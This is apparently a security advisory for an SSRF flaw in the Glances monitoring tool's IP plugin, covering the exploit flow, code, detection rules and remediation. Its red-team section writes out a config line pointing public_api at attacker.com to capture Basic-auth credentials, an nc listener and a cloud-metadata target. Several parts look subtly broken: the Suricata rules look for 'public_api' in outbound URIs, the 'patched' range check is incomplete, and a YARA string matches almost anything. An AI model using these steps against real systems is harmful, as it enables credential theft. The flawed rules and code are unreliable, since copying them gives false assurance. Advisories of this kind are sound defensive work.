CVE-2026-35587

Executive Summary

CVE-2026-35587 is a Server-Side Request Forgery (SSRF) vulnerability in the Glances open-source system monitoring tool, affecting versions prior to 4.5.4. The flaw resides in the IP plugin, where the public_api configuration parameter is used directly in outbound HTTP requests without any validation of the scheme, hostname, or IP address. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. When public_username and public_password are set, these credentials are automatically included in the Authorization: Basic header, leading to credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and exfiltrate credentials. The patch in version 4.5.4 introduces proper validation of the public_api parameter.

Supply Chain & Package Security

Glances is a Python package distributed via PyPI. The vulnerability affects the core application logic, not a dependency. However, the risk of supply chain compromise is elevated because an attacker who gains write access to the Glances configuration file (e.g., via a separate vulnerability or misconfiguration) can exploit this SSRF to pivot to internal services or exfiltrate credentials. Organizations using Glances in containerized environments or CI/CD pipelines should ensure the configuration file is protected and that the application runs with the least privilege necessary.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (AV:N) – The attacker can trigger the SSRF remotely if they can modify the configuration.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required beyond configuration modification.
• Privileges Required (PR): Low (PR:L) – The attacker needs the ability to modify the Glances configuration file.
• User Interaction (UI): None (UI:N) – No user interaction is required.
• Scope (S): Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component (e.g., internal services).
• Confidentiality (C): High (C:H) – Credential leakage and access to internal data.
• Integrity (I): Low (I:L) – The attacker may be able to modify internal resources.
• Availability (A): None (A:N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Estimated Score: 8.6 (High)

Deep Dive & Mechanics

The vulnerability is in the IP plugin of Glances, which is used to fetch public IP information from external services. The plugin uses a configuration parameter public_api to specify the URL of the API to query. In vulnerable versions, this parameter is passed directly to the urlopen_auth function without any validation.

Root Cause:
The public_api value is used as the URL for an HTTP GET request. No checks are performed to ensure the URL uses a safe scheme (e.g., https://) or that the hostname is not an internal IP address (e.g., 169.254.169.254 for cloud metadata). This allows an attacker to set public_api to an internal service or an attacker-controlled server.

Credential Leakage:
When public_username and public_password are configured, Glances automatically includes them in the Authorization: Basic header of the outbound request. If the attacker sets public_api to their own server, they can capture these credentials.

Attack Flow:

1. Attacker gains write access to the Glances configuration file (e.g., via a separate vulnerability, misconfigured permissions, or a malicious update).
2. Attacker modifies the public_api parameter to point to an internal service (e.g., http://169.254.169.254/latest/meta-data/) or an attacker-controlled server (e.g., http://attacker.com/capture).
3. Glances makes an HTTP request to the attacker-specified URL.
4. If public_username and public_password are set, they are sent in the Authorization header.
5. The attacker receives the credentials or accesses internal resources.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.5.4):
In the IP plugin, the public_api value is used directly:

def get_public_ip(self):
    url = self.config.get('public_api', 'https://api.ipify.org')
    # No validation of url
    response = urlopen_auth(url, self.config.get('public_username'), self.config.get('public_password'))
    return response.read().decode('utf-8')

Patched Code (version 4.5.4):
The patch introduces validation to ensure the URL uses a safe scheme and is not an internal IP:

import re
from urllib.parse import urlparse

def get_public_ip(self):
    url = self.config.get('public_api', 'https://api.ipify.org')
    parsed = urlparse(url)
    # Validate scheme
    if parsed.scheme not in ('http', 'https'):
        raise ValueError("Invalid scheme")
    # Validate hostname is not internal
    hostname = parsed.hostname
    if hostname and (hostname.startswith('127.') or hostname.startswith('10.') or hostname.startswith('172.16.') or hostname.startswith('192.168.') or hostname == 'localhost' or hostname == '169.254.169.254'):
        raise ValueError("Internal hostname not allowed")
    response = urlopen_auth(url, self.config.get('public_username'), self.config.get('public_password'))
    return response.read().decode('utf-8')

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to modify the Glances configuration file (e.g., ~/.config/glances/glances.conf or /etc/glances/glances.conf).
• A listener to capture credentials (e.g., nc -lvnp 8080).

Exploitation Steps:

1. Modify the configuration file to set public_api to an attacker-controlled server:

   [ip]
   public_api=http://attacker.com/capture
   public_username=admin
   public_password=secret
   

2. Restart Glances or wait for the IP plugin to trigger.
3. On the attacker server, capture the incoming request:

   nc -lvnp 8080
   

4. The attacker will see the Authorization: Basic header containing the credentials.

Alternative – Internal Service Access:

• Set public_api to an internal service, e.g., http://169.254.169.254/latest/meta-data/ to retrieve cloud metadata.

Blue Team

Detection:

• Monitor outbound HTTP requests from the Glances process to unexpected destinations.
• Check for configuration file modifications, especially the [ip] section.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search for logs indicating requests to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
• Look for Authorization: Basic headers in outbound requests to unknown servers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from Glances to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.169.254).
  • Outbound HTTP requests to attacker-controlled servers.
  • Authorization: Basic header in outbound requests to unexpected destinations.

• File IOCs:

  • Modified Glances configuration file with a non-standard public_api value.
  • Suspicious entries in the [ip] section of the configuration file.

• Process IOCs:

  • Glances process making HTTP requests to internal or unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2026_35587_Glances_SSRF {
    meta:
        description = "Detects Glances configuration files with suspicious public_api values"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35587"
    strings:
        $s1 = "public_api="
        $s2 = "169.254.169.254" nocase
        $s3 = "10." nocase
        $s4 = "172.16." nocase
        $s5 = "192.168." nocase
        $s6 = "localhost" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2026-35587 - Glances SSRF via public_api
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects outbound HTTP requests from Glances to internal IPs or suspicious destinations
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\glances.exe'
        DestinationIp:
            - '10.*'
            - '172.16.*'
            - '192.168.*'
            - '169.254.169.254'
            - '127.*'
    condition: selection
falsepositives:
    - Legitimate use of internal APIs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-35587 - Glances SSRF to External Server"; flow:to_server; content:"Authorization|3a| Basic"; http_header; content:"public_api"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $INTERNAL_NET any (msg:"CVE-2026-35587 - Glances SSRF to Internal IP"; flow:to_server; content:"public_api"; http_uri; nocase; ip_proto:tcp; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Glances to version 4.5.4 or later.
2. If upgrade is not possible, manually validate the public_api configuration parameter in the configuration file.
3. Restrict write access to the Glances configuration file to only trusted users.

Long-term Mitigations:

• Implement network segmentation to limit outbound traffic from Glances to only necessary external services.
• Use a web application firewall (WAF) to block requests to internal IPs.
• Monitor for unauthorized configuration changes using file integrity monitoring (FIM).
• Apply the principle of least privilege to the Glances process.

Patch Details:

• Upgrade to version 4.5.4, which includes validation of the public_api parameter to prevent SSRF.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: A0CEA4E3BAAA14DBBE013930] */}